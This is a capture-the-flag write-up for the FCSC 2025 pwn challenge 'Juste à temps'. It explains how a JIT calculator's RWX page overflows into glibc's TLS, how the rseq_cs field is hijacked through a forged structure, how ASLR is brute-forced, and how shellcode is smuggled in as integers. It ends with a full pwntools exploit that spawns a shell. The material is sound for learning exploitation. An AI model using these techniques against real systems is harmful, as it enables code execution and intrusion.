FCSC 2025 - Juste à temps - Pwn

20 minute read

FCSC 2025 - Write-up - Pwn - Juste à temps

Description

Have you seen my new calculator? Well, the results are wrong, but they come really fast!

Author : XeR

Solution

For this challenge we have the source code and dockerfile. We need to exploit a userland binary ELF-64 on x64 architecture. The libc version used for the challenge is 2.41, pretty recent.

The binary is a calculator where we could send calculations in a while loop :

int main(int argc, char* const argv[static argc + 1])
{
	setlinebuf(stdout);

	// Allocate an rwx map for the JIT
	void *jit = mmap(NULL, SIZE, PROT_READ | PROT_WRITE | PROT_EXEC,
		MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);

	if(MAP_FAILED == jit) {
		perror("mmap");
		return EXIT_FAILURE;
	}

	printf("JIT page @ %p\n", jit);

	size_t s;
	char *buffer = NULL;

	while(0 < getline(&buffer, &s, stdin)) {
		// CE on calculators actually stands for "Clear and Execve"
		if(0 == strcmp(buffer, "clear\n")) {
			execv("/proc/self/exe", argv);
			perror("execve");
			exit(EXIT_FAILURE);
		}

		// Parse the line
		struct op *ast = NULL;
		const char *p = parse(buffer, &ast);
		if(NULL == p) {
			puts("Could not parse expression");
			continue;
		}

		// Ensure there's nothing left
		struct token tok;
		p = lexer(p, &tok);
		if(NULL == p || TOK_END != tok.type) {
			puts("Could not parse expression");
			continue;
		}

		// Compile the code to make it go fast
		size_t s = compile(jit, ast);

		// Compiled code is too large… try with smaller numbers?
		if(s > SIZE)
			panic();

		// We don't need the AST anymore
		op_del(ast);

		long (*f)(void) = jit;
		printf("%ld\n", f());
	}

	free(buffer);
	munmap(jit, SIZE);

	return EXIT_SUCCESS;
}

Our input is processed with getline, then it is parsed, compiled and executed. With the challenge name and the code, we understand it does just-in-time compilation, compilation at runtime. To do this it creates an RWX memory section, going to compile during runtime opcodes instructions and placed them in the section then it executes it. The address of the section is printed by the program, we might not need to get an additional leak for the exploit.

There is a strange functionality which allows us to restart the program directly with execv.

Let’s review the other source files :

static size_t emit_insns(void *map, const void *insns, size_t size)
{
	memcpy(map, insns, size);
	return size;
}

static size_t emit_op2(void *map, const void *insns, size_t size)
{
	static const unsigned char prologue[] = {
		0x5A, // pop rdx
		0x58, // pop rax
	};

	static const unsigned char epilogue[] = {
		0x50, // push rax
	};

	size_t ret = 0;

	ret += emit_insns(map + ret, prologue, sizeof(prologue));
	ret += emit_insns(map + ret, insns, size);
	ret += emit_insns(map + ret, epilogue, sizeof(epilogue));

	return ret;
}

static size_t emit_push8(void *map, char n)
{
	const unsigned char insns[] = {
		0x6A, n, // push n
	};
	return emit_insns(map, insns, sizeof(insns));
}

static size_t emit_push32(void *map, int n)
{
	const unsigned char insns[] = {
		0x68, n, n >> 8, n >> 16, n >> 24 // push n
	};
	return emit_insns(map, insns, sizeof(insns));
}

static size_t emit_push64(void *map, long n)
{
	const unsigned char insns[] = {
		0x48, 0xB8, n, n >> 8, n >> 16, n >> 24,
			n >> 32, n >> 40, n >> 48, n >> 56, // mov rax, n
		0x50, // push rax
	};
	return emit_insns(map, insns, sizeof(insns));
}

static size_t emit_push(void *map, long n)
{
	if(CHAR_MIN <= n && n <= CHAR_MAX)
		return emit_push8(map, n);

	if(INT_MIN <= n && n <= INT_MAX)
		return emit_push32(map, n);

	return emit_push64(map, n);
}

static size_t emit_add(void *map)
{
	static const unsigned char insns[] = {
		0x48, 0x01, 0xD0, // add rax, rdx
	};

	return emit_op2(map, insns, sizeof(insns));
}

static size_t emit_sub(void *map)
{
	static const unsigned char insns[] = {
		0x48, 0x29, 0xD0, // sub rax, rdx
	};

	return emit_op2(map, insns, sizeof(insns));
}

static size_t emit_mul(void *map)
{
	static const unsigned char insns[] = {
		0x48, 0xF7, 0xE2, // mul rdx
	};

	return emit_op2(map, insns, sizeof(insns));
}

static size_t emit_epilogue(void *map)
{
	static const unsigned char insns[] = {
		0x58, // pop rax
		0xC3, // ret
	};
	return emit_insns(map, insns, sizeof(insns));
}

static size_t process(void *map, const struct op *ast)
{
	if(OP_NUMBER == ast->type)
		return emit_push(map, ast->number);

	size_t ret = 0;

	switch(ast->type) {
	case OP_ADD:
		ret += process(map + ret, ast->left);
		ret += process(map + ret, ast->right);
		ret += emit_add(map + ret);
		break;

	case OP_SUBTRACT:
		ret += process(map + ret, ast->left);
		ret += process(map + ret, ast->right);
		ret += emit_sub(map + ret);
		break;

	case OP_MULTIPLY:
		ret += process(map + ret, ast->left);
		ret += process(map + ret, ast->right);
		ret += emit_mul(map + ret);
		break;

	default:
		exit(EXIT_FAILURE); // ????
	}

	return ret;
}

size_t compile(void *map, const struct op *ast)
{
	//op_dump(ast);

	size_t s = process(map, ast);
	return s + emit_epilogue(map + s);
}

This is the code which compiles the instructions, it takes the values and the operands : add, subtract, multiply and compile the opcodes instructions for the numbers. It uses an AST variable which is initialised before by the parser and lexer functions.

There are no obvious bugs in the program during the code review. We could start to use it to see if some strange behaviour appears. We could also compile the code with AFL and try to fuzz it during the time we analyzed (It gives nothing special with some basic corpus).

By sending many operations as a test :

pld = b"1"
pld += b"+1+1"*(0x1400)

We have a crash, canary check failed :

[*#0] 0x7fc8bc96d95c <NO_SYMBOL>
[ #1] 0x7fc8bc918cc2 <raise+0x12>
[ #2] 0x7fc8bc9014ac <abort+0x22>
[ #3] 0x7fc8bc902291 <NO_SYMBOL>
[ #4] 0x7fc8bc9f4995 <NO_SYMBOL>
[ #5] 0x7fc8bc9f5bb0 <__stpcpy_chk> (frame name: __stack_chk_fail)
[ #6] 0x558ceaf63d14 <emit_insns+0x52>
[ #7] 0x558ceaf63d86 <emit_op2+0x70>
[ #8] 0x558ceaf64015 <emit_add+0x36>
[ #9] 0x558ceaf641da <process+0xcb>

The stack trace indicates us this is in the emit_insns function, which contains as we’ve seen, a memcpy call to insert the opcodes to the RWX region. By analysing the stack and the comparison, the canary doesn’t seem to be overwritten, and there is no reason in the function why it could be the case because the memcpy arguments are correct.

Let’s check the TLS (Thread Local Storage), where the canary value is stored :

The TLS is overwritten by data. Those data are the compiled opcodes, that’s why it occurs after the memcpy call. Why this behaviour ? Let’s check the vmmap output :

The JIT memory region is allocated just before the TLS section. So by sending many operations, we overwrite the TLS and crash because of the canary check (which used the modified value).

Note: the TLS section is also right behind the libc, so if we need later libc addresses we have them from jit base address.

We could assume this is a good bug, now let’s see if we don’t overwrite too much (before the canary value):

The panic function is executed, because of the length check after the compile function call :

		// Compiled code is too large… try with smaller numbers?
		if(s > SIZE)
			panic();

Here is the panic function :

static void panic(void)
{
	static const char str[] = "\x1B[31mError\x1B[0m: too much maths\n"
		"Starting emergency procedure\n";
	write(STDOUT_FILENO, str, __builtin_strlen(str));

	sleep(3);

	_exit(EXIT_FAILURE);
	asm("hlt");
}

This is a strange function, there is a sleep function called (why ?), a write and an exit call. We may need to abuse of this function with our vulnerability.

Here is the structure tcbhead_t of the TLS, which stored the canary and some other values : https://elixir.bootlin.com/glibc/glibc-2.41/source/sysdeps/x86_64/nptl/tls.h#L42 .

typedef struct
{
  void *tcb;		/* Pointer to the TCB.  Not necessarily the
			   thread descriptor used by libpthread.  */
  dtv_t *dtv;
  void *self;		/* Pointer to the thread descriptor.  */
  int multiple_threads;
  int gscope_flag;
  uintptr_t sysinfo;
  uintptr_t stack_guard;
  uintptr_t pointer_guard;
  unsigned long int unused_vgetcpu_cache[2];
  /* ... */
} tcbhead_t;

By overwriting information before the stack_guard (canary), we may get code execution or a new primitive. The thing to note here is with opcode instructions we could place an arbitrary 64 bits address. The movaps instructions contained the two opcodes and our integer which is used for the calculation. By adjusting the opcodes, we could place an address in a field of the TLS. Because of other instructions like add, sub, used, it is impossible to control every value overwritten.

If we overwrite the self-field, we get a crash in the write syscall in the libc. The reason is the thread descriptor is read and dereferenced, so it crashes because of the overwritten data :

It uses it to check some flag (We guess related to multithread) but _libc_single_threaded variable is true so the syscall is directly executed so changing self by a controlled pointer doesn’t do anything.

We need to find another trigger, something we could overwrite which is used by the program, especially in the panic function which seems designed to be a trigger for a specific behaviour.

Abuse of the exit call could be a good idea but this is the _exit function which is called in panic function. This exit function only execute the syscall, if it was exit function we may could abuse of known TLS overwrite techniques. (https://github.com/nobodyisnobody/docs/tree/main/code.execution.on.last.libc/)

We need to find another thing.

By overwrite data just before the tcbhead_t structure, we get a suspicious crash :

There is a SIGSEGV signal after the syscall on a pop rbx instruction, WTF ? There is also the same thing when we set a breakpoint on panic function for example. It crashes with a SIGSEGV. If we reset the pointer we overwrite to 0, the program is alive and we can use our breakpoints again.

What is this section and why we have this behaviour ? To check it, we could set a watchpoint on it to see which part of the code modified it :

The section seems to be set to zero via the linker binary during the binary loading. Where in the linker ? By analysing it with IDA and source code, it seems to be in the dl_allocate_tls_init function, it seems logic.

It takes a bit time to link the source with IDA view with inlining and compilation optimisation but it works : https://elixir.bootlin.com/glibc/glibc-2.41/source/sysdeps/nptl/dl-tls_init_tp.c#L110 https://elixir.bootlin.com/glibc/glibc-2.41/source/sysdeps/unix/sysv/linux/rseq-internal.h#L114

rseq_register_current_thread (struct pthread *self, bool do_rseq)
{
  if (do_rseq)
    {
      unsigned int size =  __rseq_size;

      /* The feature size can be smaller than the minimum rseq area size of 32
         bytes accepted by the syscall, if this is the case, bump the size of
         the registration to the minimum.  The 'extra TLS' block is always at
         least 32 bytes. */
      if (size < RSEQ_AREA_SIZE_INITIAL)
        size = RSEQ_AREA_SIZE_INITIAL;

      /* Initialize the rseq fields that are read by the kernel on
         registration, there is no guarantee that struct pthread is
         cleared on all architectures.  */
      RSEQ_SETMEM (cpu_id, RSEQ_CPU_ID_UNINITIALIZED);
      RSEQ_SETMEM (cpu_id_start, 0);
      RSEQ_SETMEM (rseq_cs, 0);
      RSEQ_SETMEM (flags, 0);

      int ret = INTERNAL_SYSCALL_CALL (rseq, RSEQ_SELF (), size, 0, RSEQ_SIG);
      if (!INTERNAL_SYSCALL_ERROR_P (ret))
        return true;

After the data set to 0, there is an rseq syscall, which we could see in the source so we are in the right place.

Our overwritten field which triggers seems to be rseq_cs, let’s check what is rseq and rseq_cs with an LLM and google :

RSEQ (Restartable Sequences) is a Linux kernel feature that lets user-space code define short critical sections that can be safely retried if interrupted. It’s mainly used to implement fast, lock-free per-CPU or per-thread data structures.

This is the rseq structure :

struct rseq {
	__u32 cpu_id_start;
	__u32 cpu_id;
	/*
	 * Restartable sequences rseq_cs field.
	 *
	 * Contains NULL when no critical section is active for the current
	 * thread, or holds a pointer to the currently active struct rseq_cs.
	 *
	 * Updated by user-space, which sets the address of the currently
	 * active rseq_cs at the beginning of assembly instruction sequence
	 * block, and set to NULL by the kernel when it restarts an assembly
	 * instruction sequence block, as well as when the kernel detects that
	 * it is preempting or delivering a signal outside of the range
	 * targeted by the rseq_cs. Also needs to be set to NULL by user-space
	 * before reclaiming memory that contains the targeted struct rseq_cs.
	 *
	 * Read and set by the kernel. Set by user-space with single-copy
	 * atomicity semantics. This field should only be updated by the
	 * thread which registered this data structure. Aligned on 64-bit.
	 *
	 * 32-bit architectures should update the low order bits of the
	 * rseq_cs field, leaving the high order bits initialized to 0.
	 */
	__u64 rseq_cs;
	__u32 flags;
	__u32 node_id;
	__u32 mm_cid;

We learned the rseq_cs field is needed to be set to zero if rseq is not in use.

struct rseq_cs {
	/* Version of this structure. */
	__u32 version;
	/* enum rseq_cs_flags */
	__u32 flags;
	__u64 start_ip;
	/* Offset from start_ip. */
	__u64 post_commit_offset;
	__u64 abort_ip;
} __attribute__((aligned(4 * sizeof(__u64))));

Those fields are used to define the critical section, and if this critical section is interrupted.

From the link above :

The critical section is subdivided into preparatory and commit stages, where the commit step is a single CPU instruction. The critical section is said to have been interrupted if any of the following occurs before the commit step:

  • The thread is migrated to another CPU
  • A signal is delivered to the thread
  • The thread is preempted

The important thing here is the abort_ip field which contains a pointer to the address of the instructions to use if the critical section have been interrupted.

We could test it with a C program :

struct rseq_cs __attribute__((aligned(32))) rseq_cs_area;

// TLS rseq pointer
static struct rseq *get_tls_rseq() {
    void *tls;
    asm volatile("mov %%fs:0, %0" : "=r"(tls));
    return (struct rseq *)((uintptr_t)tls - 0xc0);
}

void rseq_abort_trampoline(void) {
    puts("azeee");
}

int main() {
    struct rseq *rseq_tls = get_tls_rseq();
    if (!rseq_tls) {
        printf("Erreur: rseq non initialisé\n");
        return 1;
    }

    memset(&rseq_cs_area, 0, sizeof(rseq_cs_area));
    rseq_cs_area.version = 0;
    rseq_cs_area.flags = 0;
    rseq_cs_area.start_ip = 0x00007ffff7dc9000 ; // libc address
    rseq_cs_area.post_commit_offset = 0x1e7000 ;
    rseq_cs_area.abort_ip = (uintptr_t)&rseq_abort_trampoline;

    // Assign rseq_cs
    rseq_tls->rseq_cs = (uintptr_t)&rseq_cs_area;

rseq_start:
    printf("[rseq] Section critique\n");
    sleep(2);

rseq_post_commit:
    rseq_tls->rseq_cs = 0;
    printf("[rseq] Terminé normalement\n");
    return 0;
}

The program get the address of rseq and overwrite rseq_cs. It defines a critical section with all the libc memory, where the syscall sleep occurs. So the program needs to be redirected to the abort_ip field.

But It doesn’t work… It is hard to debug because we only have a segfault.

With some investigations and checks on internet, this article was found : https://google.github.io/tcmalloc/rseq.html :

The abort label is distinct from restart. The rseq API provided by the kernel (see below) requires a “signature” (typically an intentionally invalid opcode) in the 4 bytes prior to the restart handler. We form a small trampoline - properly signed - to jump back to restart.

In x86 assembly, this looks like:

  // Encode nop with RSEQ_SIGNATURE in its padding.
  .byte 0x0f, 0x1f, 0x05
  .long RSEQ_SIGNATURE
  .local TcmallocSlab_Push_trampoline
  .type TcmallocSlab_Push_trampoline,@function
  TcmallocSlab_Push_trampoline:
abort:
  jmp restart

This ensures that the 4 bytes prior to abort match up with the signature that was configured with the rseq syscall.

The abort_ip handler needs to have signature bytes (RSEQ_SIGNATURE which equals to 0x53053053) before the abort_ip address.

If we check in the kernel source code : https://elixir.bootlin.com/linux/v6.14.3/source/kernel/rseq.c#L281

	if (current->rseq_sig != sig) {
		printk_ratelimited(KERN_WARNING
			"Possible attack attempt. Unexpected rseq signature 0x%x, expecting 0x%x (pid=%d, addr=%p).\n",
			sig, current->rseq_sig, current->pid, usig);
		return -EINVAL;
	}

There is a printk call if our signature is not valid, if we check dmesg output :

[522421.263725] Possible attack attempt. Unexpected rseq signature 0xe4f, expecting 0x53053053 (pid=3107035, addr=00000000bb87c5a7).

Goood :), we follow the right path, let’s modify the code :

void __attribute__((naked)) rseq_abort_trampoline(void) {
    asm volatile(
        ".long 0x53053053\n\t"        // RSEQ_SIG
        "rseq_abort:\n\t"
    );
    puts("azeee");
}
// [...]
   rseq_cs_area.abort_ip = (uintptr_t)&rseq_abort_trampoline + 8;

We set the signature bytes in the function and change the abort_ip, which should point just after the signature :

usig = (u32 __user *)(unsigned long)(rseq_cs->abort_ip - sizeof(u32));

Our code is well executed because of the sleep syscall which occurs in the critical section, good !

Exploit

What can we do from here for our exploit ? We could overwrite rseq_cs with our pointer to craft our own rseq_cs structure. With this we need to set start_ip and post_commit_offset to the libc, because sleep syscall occurs in. And for abort_ip we need to set it to the jit section. With calculations arguments we could use an integer which contains the RSEQ_SIGNATURE then instructions to execute, we will see later for this part.

The first problem, we have the leak of the jit page address but we can’t set null bytes and a valid rseq_cs structure with the jit opcodes like we explain before. Our structure can’t be partially valid, if we look in the kernel code there are so many checks : https://elixir.bootlin.com/linux/v6.14.3/source/kernel/rseq.c#L264

	if (copy_from_user(rseq_cs, urseq_cs, sizeof(*rseq_cs)))
		return -EFAULT;

	if (rseq_cs->start_ip >= TASK_SIZE ||
	    rseq_cs->start_ip + rseq_cs->post_commit_offset >= TASK_SIZE ||
	    rseq_cs->abort_ip >= TASK_SIZE ||
	    rseq_cs->version > 0)
		return -EINVAL;
	/* Check for overflow. */
	if (rseq_cs->start_ip + rseq_cs->post_commit_offset < rseq_cs->start_ip)
		return -EINVAL;
	/* Ensure that abort_ip is not in the critical section. */
	if (rseq_cs->abort_ip - rseq_cs->start_ip < rseq_cs->post_commit_offset)
		return -EINVAL;

	usig = (u32 __user *)(unsigned long)(rseq_cs->abort_ip - sizeof(u32));
	ret = get_user(sig, usig);
	if (ret)
		return ret;

We need to set up the structure in memory with the program. As we said, it uses getline function which allocates our buffer on the heap. But a trick here is to send a big chunk of data which is going to be allocated to a new section (with an mmap call by the allocator). If we do this, this section is mapped before our jit page at a static offset !

pld = b"C"*0x300000
pld += 0x800 * b"C"
pld += p64(0xdeadbeef) + p64(0xcafebabe)

"""
struct rseq_cs {
        /* Version of this structure. */
        __u32 version;
        /* enum rseq_cs_flags */
        __u32 flags;
        __u64 start_ip;
        /* Offset from start_ip. */
        __u64 post_commit_offset;
        __u64 abort_ip;
} __attribute__((aligned(4 * sizeof(__u64))));
"""

rseq_cs = p32(0) + p32(0)
rseq_cs += p64(jit_page+0x13000) # start_ip: libc
rseq_cs += p64(0x1e7000)  # post_commit_offset: libc size
rseq_cs += p64(jit_page+0x10644) # abort_ip
rseq_cs += p64(0)*3

pld += rseq_cs

sl(pld)

If we send an invalid data, the program asks us a new input, so we don’t care this is invalid data

We have our fake rseq_cs structure allocated in memory at a static offset from the jit page address, perfect, we need to set it on our calculate payload. For abort_ip, for testing purpose, we only set it to a valid signature we set in a calculation.

pld += b"+1+1"*(0x1000+0x64) 
pld += b"+444444444444"*4
pld += b"+"+fake_rseq_cs_ptr

We overwrite successfuly rseq_cs but the program SIGSEGV again …

No log, no invalid signature and all seems to be well setup. So the idea was directly to debug the kernel. To set up a quick one I used buildroot with qemu and connect it with gdb.

Many inlining in kernel, It was hard to find the code, tip is to load the kernel in IDA and the symbol file kallsym.

The signature check is good so there are no problems with all the checks I mentioned above. The problem is in this function :

static int rseq_need_restart(struct task_struct *t, u32 cs_flags)
{
	u32 flags, event_mask;
	int ret;

	if (rseq_warn_flags("rseq_cs", cs_flags))
		return -EINVAL;

	/* Get thread flags. */
	ret = get_user(flags, &t->rseq->flags);
	if (ret)
		return ret;

	if (rseq_warn_flags("rseq", flags))
		return -EINVAL;

	/*
	 * Load and clear event mask atomically with respect to
	 * scheduler preemption.
	 */
	preempt_disable();
	event_mask = t->rseq_event_mask;
	t->rseq_event_mask = 0;
	preempt_enable();

	return !!event_mask;
}
static bool rseq_warn_flags(const char *str, u32 flags)
{
	u32 test_flags;

	if (!flags)
		return false;
	test_flags = flags & RSEQ_CS_NO_RESTART_FLAGS;
	if (test_flags)
		pr_warn_once("Deprecated flags (%u) in %s ABI structure", test_flags, str);
	test_flags = flags & ~RSEQ_CS_NO_RESTART_FLAGS;
	if (test_flags)
		pr_warn_once("Unknown flags (%u) in %s ABI structure", test_flags, str);
	return true;
}

The flags field of the rseq and reseq_cs structures is checked in this function. If there are some invalid bits, the program is going to sigsegv. So those four bytes of flags should be at zero. With the data set, the flag field is obviously not null. The flag field is right behind the reseq_cs field. But like we said before, actually we can’t control more than eight successive bytes.

When the program compiled the instructions and do operations on two integers, it pushes the two on the stack. For 32 bits values :

	const unsigned char insns[] = {
		0x68, n, n >> 8, n >> 16, n >> 24 // push n
	};

and for 64 bits values :

	const unsigned char insns[] = {
		0x48, 0xB8, n, n >> 8, n >> 16, n >> 24,
			n >> 32, n >> 40, n >> 48, n >> 56, // mov rax, n
		0x50, // push rax
	};

We can control 12 bytes with an operation on a 32 bits and 64 bits integers but there is the movaps opcodes between them : 0x48, 0xB8. We can’t set them to another value to have our address and four null bytes (for the flag field).

Remember the strange feature which allows us to restart the program ? Can we use this feature to bruteforce the ASLR and get addresses which contains 0xb848 on the fourth and fifth bytes of the address ?

If it’s the case, we could set the low address value with our push 32 bits instruction and the high address value plus the flag value right after the movaps two bytes.

while True:
    sl(b"clear")
    jit_page = int(rcvl().split(b" ")[-1].strip(),16)
    check = (jit_page>>24)&0xFFFF
    if check == 0xb848:
        print(hex(jit_page))
        print(hex(check))
        print("FOUND")
        break

We have one chance in 65535 to get the right result, it finds it quickly (from seconds to a few minutes). We find the solution to set flags to 0.

We could forge it like this :

low_addr = (fake_rseq_cs_ptr_int & 0xffffff) << 8
print("shifted low_addr",hex(low_addr))

high_addr = ( (fake_rseq_cs_ptr_int >> 40) | 0x7000000000000000 ) 
print("shifted highaddr",hex(high_addr))

pld += b"+("+ str(low_addr).encode() + b"+"+str(high_addr).encode()+b")" 

low_addr is the 32 bit value, and high_addr is the 64 bits one. We need to set one high bit for the high_addr, if not it is not going to be a 64 bits integer, this bit is set right after the flag field, so we don’t care.

Another thing to notice is the integer need to be positive, if not it will fail, the program only support pushing directly positive values. During the bruteforce of ASLR I also check if the low_addr is positive (it depends on the third byte)

The next and last step, we need to forge our shellcode which is going to be executed.

The idea is to use the movaps instructions with 64 bits integer for the calculations to set the shellcode opcodes in the integer used. Like if we use this as an integer:

>>> 0x90909053053053
40691346188873811

We have the first 4 bytes which are the signature for rseq and then our opcodes (0x90, nop). We could chain a few with relative jump to jump to each movaps arguments.

For the shellcode, a basic read syscall is done on the jit page to send an execve shellcode. First the idea was to jump directly in the libc to system and setup binsh pointer to rdi but those opcodes are encoded to 10 bytes (movaps), so we decided to use a read syscall which is going to overwrite the current instructions.

The little trick here to get the value of rip register, is to use a call and then pop it to rsi (read argument).

Here it is :

"""
signature + jmp 0xd
"""
pld += b"+13105338069075" 

"""
call 5
jmp 0xc
"""
pld += b"+3073134999634152"

"""
pop rsi
xor eax, eax
xor rdi,rdi
jmp 0xc
"""
pld += b"+714945553007391070"
"""
mov edx,0x500
syscall
"""
pld += b"+1423867558297786"
# [...]
shellcode = b"\x90"*100+asm(shellcraft.sh())
sl(shellcode)

Here is a schema to summarise the chain :

Few debug to get right offsets for the payload and set the right calculation. Execute few connexions in remote to accelerate the process and get this flag :)

Conclusion

It was an incredible challenge, I learned many things, there were many steps involved in the resolution and requires to understand kernel internal code is very interesting and original for a userland pwnable. Thanks to XeR !

Bonus

rseq position is controlled with an offset in a libc symbol __rseq_flags : https://github.com/torvalds/linux/blob/a33b5a08cbbdd7aadff95f40cbb45ab86841679e/tools/testing/selftests/rseq/rseq.c#L215C41-L215C53

With another libc version the rseq structure was after the canary value, I guess that’s why the libc was the 2.41, because with it the rseq is before :)

It hinted me I may use the right way during the resolution (by using my libc in a failed test).

Full script

Here is the full exploit script with a bit of cleaning :

#!/usr/bin/env python3
from pwn import *

"""

"""

context.terminal = ["tmux", "new-window"]
#context.log_level = 'info'

exe = ELF("./juste-a-temps_patched")
libc = ELF("./libc-2.41.so")
ld = ELF("./ld-2.41.so")
#rop = ROP([bin,libc])

context.binary = exe
io = None

def one_gadget(filename, base_addr=0):
  return [(int(i)+base_addr) for i in subprocess.check_output(['one_gadget', '--raw', '-l0', filename]).decode().split(' ')]
def logbase(): log.info("libc base = %#x" % libc.address)
def logleak(name, val): info(name+" = %#x" % val)
def sla(delim,line): return io.sendlineafter(delim,line)
def sl(line): return io.sendline(line)
def rcu(delim): return io.recvuntil(delim)
def rcv(number): return io.recv(number)
def rcvl(): return io.recvline()

def conn():
    global io
    if args.GDB:
        io = gdb.debug([exe.path], gdbscript='''
        #init-pwndbg
        init-gef
        #decompiler connect ida --host 127.0.0.1 --port 3662
        c
        ''')
    elif args.REMOTE:
        io = remote("chall.fcsc.fr", 2111)
    else:
        io = process([exe.path],env=env)
    return io

conn()

total = b""

OFFSET = 0x63da0

jit_page = int(rcvl().split(b" ")[-1].strip(),16)

while True:
    sl(b"clear")
    jit_page = int(rcvl().split(b" ")[-1].strip(),16)
    threeandfour = (jit_page>>24)&0xFFFF
    #print(hex(jit_page))
    #print(hex(threeandfour))
    if threeandfour == 0xb848:
        if (((jit_page-OFFSET) & 0xffffff) << 8) < 0x80000000:
            print(hex(jit_page))
            print(hex(threeandfour))
            print("FOUND")
            break
        else:
            print("found but "+hex(((jit_page-OFFSET) & 0xffffff) << 8))
        
pause()

pld = b"C"*0x1000 
pld += p64(0xdeadbeef) + p64(0xcafebabe)

"""
struct rseq_cs {
	/* Version of this structure. */
	__u32 version;
	/* enum rseq_cs_flags */
	__u32 flags;
	__u64 start_ip;
	/* Offset from start_ip. */
	__u64 post_commit_offset;
	__u64 abort_ip;
} __attribute__((aligned(4 * sizeof(__u64))));
"""

print("signature address", hex(jit_page+0x10004))
print("check address", hex(jit_page+0xa2678))

rseq_cs = p32(0) + p32(0)
rseq_cs += p64(jit_page+0x13000) # start_ip: libc
rseq_cs += p64(0x1e7000)  # post_commit_offset: libc size
rseq_cs += p64(jit_page+0x10644) # abort_ip

pld += rseq_cs *(0x1000+4096)

pld += b"C"*0x2100

sl(pld)
print(rcvl())

pld = b"1"

fake_rseq_cs_ptr_int = jit_page-OFFSET
print("fake_rseq_cs_ptr_int",hex(fake_rseq_cs_ptr_int))

pld = b"1"
pld += b"+1+1"*0x500 
"""
signature + jmp 0xd
"""
pld += b"+13105338069075" 

"""
call 5
jmp 0xc
"""
pld += b"+3073134999634152"

"""
pop rsi
xor eax, eax
xor rdi,rdi
jmp 0xc
"""
pld += b"+714945553007391070"
"""
mov edx,0x500
syscall
"""
pld += b"+1423867558297786"

pld += b"+1+1"*(0xb50)
pld += b"+1"*23
pld += b"+444444444444"*8

low_addr = (fake_rseq_cs_ptr_int & 0xffffff) << 8
print("shifted low_addr",hex(low_addr))

high_addr = ( (fake_rseq_cs_ptr_int >> 40) | 0x7000000000000000 ) 
print("shifted highaddr",hex(high_addr))

pld += b"+("+ str(low_addr).encode() + b"+"+str(high_addr).encode()+b")" 

sl(pld)


print("waiting 5s")
time.sleep(5)

shellcode = b"\x90"*100+asm(shellcraft.sh())

sl(shellcode)

time.sleep(1)

sl(b"cat ./flag.txt")

io.interactive()